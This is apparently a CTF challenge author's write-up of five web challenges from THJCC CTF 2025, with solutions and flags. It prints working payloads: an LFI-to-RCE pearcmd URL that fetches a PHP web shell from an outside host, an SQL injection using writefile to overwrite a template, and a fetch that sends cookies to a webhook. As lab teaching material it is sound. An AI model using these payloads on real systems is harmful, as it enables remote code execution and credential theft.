THJCC CTF 2025 Web Writeup

Web

Nothing here 👀

solve: 108
100 points
difficulty: baby

Browse the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nothing here :(

<script>
(()=>{
const enc = 'VEhKQ0N7aDR2ZV9mNW5fMW5fYjRieV93M2JfYTUxNjFjYzIyYWYyYWIyMH0=';
const logStyle = "background: rgba(16, 183, 127, 0.14); color: rgba(255, 255, 245, 0.86); padding: 0.5rem; display: inline-block;";

// get flag youself :D
const getFlag = ()=>{
const flag = atob(enc)
console.log(`%c${flag}`, logStyle)
}
})()
</script>

You can try to executing getFlag in the console
thjcc-nothing-here-no-getflag
However, getFlag is undefined because the script runs in a closure making getFlag inaccessible from the console’s scope

You can copy the entire code
and insert getFlag() after the definition of getFlag, as shown
thjcc-nothing-here-getflag
Examining the getFlag function reveals that it uses atob to decode a base64 string
You can decode enc directly using a base64 decoder:
thjcc-nothing-here-b64dec

FLAG: THJCC{h4ve_f5n_1n_b4by_w3b_a5161cc22af2ab20}


Memory-Catcher🧠

solve: 4
470 points
difficulty: medium

Analyze the index.php

1
2
3
4
5
6
7
8
9
10
11
12
$secret = file_get_contents('/var/www/secret');
if($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['username']) && isset($_POST['password'])){
header('content-type: application/json');
$username = $_POST['username'];
$password = $_POST['password'];
if($username==='admin' && $password===$secret){
$flag = file_get_contents('/flag');
echo '{"flag":"'.$flag.'", "msg":"Login Success!"}';
}else{
echo '{"flag":null, "msg":"Login Failed!"}';
}die;
}

Key observations

  1. login requires username: admin / password: $secret
  2. $secret is read from /var/www/secret

The challenge’s goal is to obtain the contents of /var/www/secret

Examine the dockerfile

1
2
3
4
5
6
7
8
FROM php:8.2-apache-bullseye

COPY . /var/www/html

RUN mv flag.txt /flag
RUN echo -n 'FAKE_SECRET' > /var/www/secret

EXPOSE 80

Focus on lines 3 and 6:

at line 3
I copies all files from ./share into /var/www/html

at line 6
writes FAKE_SECRET into /var/www/secret

Notice anything unusual?

The dockerfile itself is included in the ./share directory copied to /var/www/html, and it contains the secret in plain text

So we can access the secret by visiting:

http://chal.ctf.scint.org:10666/dockerfile

Then login with secret

FLAG: THJCC{r3m0v3_d0ckrrrf1l3_1n_pr0du4t10n!}


i18n

solve: 5
460 points
difficulty: medium

蛤 都2025年了 還有人不知道lfi就等於rce嗎

1
2
3
4
5
6
7
8
<?php

if(!isset($_GET['lang'])){
header('location: /?lang=zh_tw');
}else{
$lang = $_GET['lang'];
include "./lang/$lang.php";
}

We can control variable $lang
but the include path’s prefix and suffix are setted

So we can use perl to write shell

payload:

1
2
http://domain/?lang=../../../../../../../usr/local/lib/php/pearcmd&+install+-R+/tmp+https://test.g.xiulan.me/shell.php
// shell.php: <?php system($_GET['cmd']);>
1
http://domain/?cmd=cat%20/flag&lang=../../../../../../../tmp/tmp/pear/download/shell

FLAG: THJCC{r3se4rch3r_is_mean_RE:SE4RCH}

reference: https://blog.stevenyu.tw/2022/05/07/advanced-local-file-inclusion-2-rce-in-2022#rtoc-18

Note: 我原本這題沒刪dockerfile, 然後把dockerfile刪了 出了一題Memory-Catcher🧠


玩猜拳換免費flag

solve: 0
500 points
difficulty: hard

Examine app.py

1
2
3
4
5
app = Flask(__name__)
app.config['SECRET_KEY'] = urandom(32)
app.config['TEMPLATES_AUTO_RELOAD'] = True
app.config['FLAG'] = 'THJCC{FAKE_FLAG}'
app.jinja_env.auto_reload = True

Key observation: TEMPLATES_AUTO_RELOAD = True enables hot reloading of templates when they change.

Next, review utils.py
The init function initializes a users table
Focus on the exec_sql function:

1
2
3
4
5
6
7
8
9
10
11
12
def exec_sql(query, param = ()):
conn = sqlite3.connect('./database.db')
conn.row_factory = sqlite3.Row
conn.enable_load_extension(True)
conn.load_extension('./fileio')
c = conn.cursor()
c.execute(query, param)
result = c.fetchone()
conn.commit()
c.close()
conn.close()
return result

Investigate all uses of exec_sql
the use function in rps.py allows control over the player_choise parameter:
To get the flag
we need to increase our balance to 37378891

1
2
3

exec_sql(f'select {player_choise} from users where username=?', (session['username'], ))[player_choise]

however, we can’t tamper with the database via a select statement
(at least I can’t)

Instead, exploit the template auto-reload feature by overwriting templates/index.html with {{config}} to leak the flag.

1
2
3
4
5
6
7
8
9
10
11
12
@rps.route('/use')
def use():
if 'username' not in session:
return redirect(url_for('frontend.login'))

player_choise = request.args.get('item', '').lower()

if any(item in player_choise for item in options):
if exec_sql(f'select {player_choise} from users where username=?', (session['username'], ))[player_choise]:
system_choise = choices(options)[0]
if player_choise == system_choise:
flash('draw', 'alert alert-info')

To bypass the check at line 8
we have to includes at least one item here
so the payload is

1
http://domain/api/use?item=rock,writefile(%27templates%2findex.html%27,%20%27{{config}}%27)

FLAG: THJCC{Crazy_ch@ll3nge_br0ken_everythin9}


iCloud☁️

solve: 7
440 points
difficulty: insane

1
2
3
4
5
6
7
8
9
10
<DirectoryMatch ^/var/www/html/uploads/.+>
Options +Indexes
AllowOverride FileInfo
DirectoryIndex disabled
<FilesMatch "^.*\.ph.*$">
SetHandler none
ForceType text/html
Header set Content-Type "text/html"
</FilesMatch>
</DirectoryMatch>

Key points:

.ph* files are disabled from being processed as PHP.
.htaccess can override certain settings.

Examine the bot’s URL validation:

1
2
3
4
if (!url.match(new RegExp(`^${SITE_URL}uploads/[^/]+/?$`))) {
console.log(`[-] Invalid URL: ${url}`);
return;
}

The bot only allows URLs matching http://web/uploads//.
However, the regex (generated by ChatGPT) is flawed, allowing bypass with:

1
http://web/uploads/<some_hex>\script.html

Alternatively, use .htaccess (official solution). Example:

1
2
3
4
5
6
7
8
root@chal:/var/www/html/uploads/solve# ls -a
. .. .htaccess SOLVE.html

root@chal:/var/www/html/uploads/solve# cat .htaccess
HeaderName ./SOLVE.html

root@chal:/var/www/html/uploads/solve# cat SOLVE.html
<h1>Hello World</h1>

This renders as
thjcc-icloud-headername.png

Create SOLVE.html to steal cookies:

1
fetch('http://webhook?'+document.cookie)

FLAG: THJCC{hTaCc3s5_c@n_al3rt(Pwned!)}

Note

感覺iCloud應該跟猜拳換個位置的

thjcc-cool
整排100 整排500
but我真的沒覺得我出太難
i18n跟memory catcher甚至是前一天才出好的

還好這次題都沒出什麼大問題 讚👍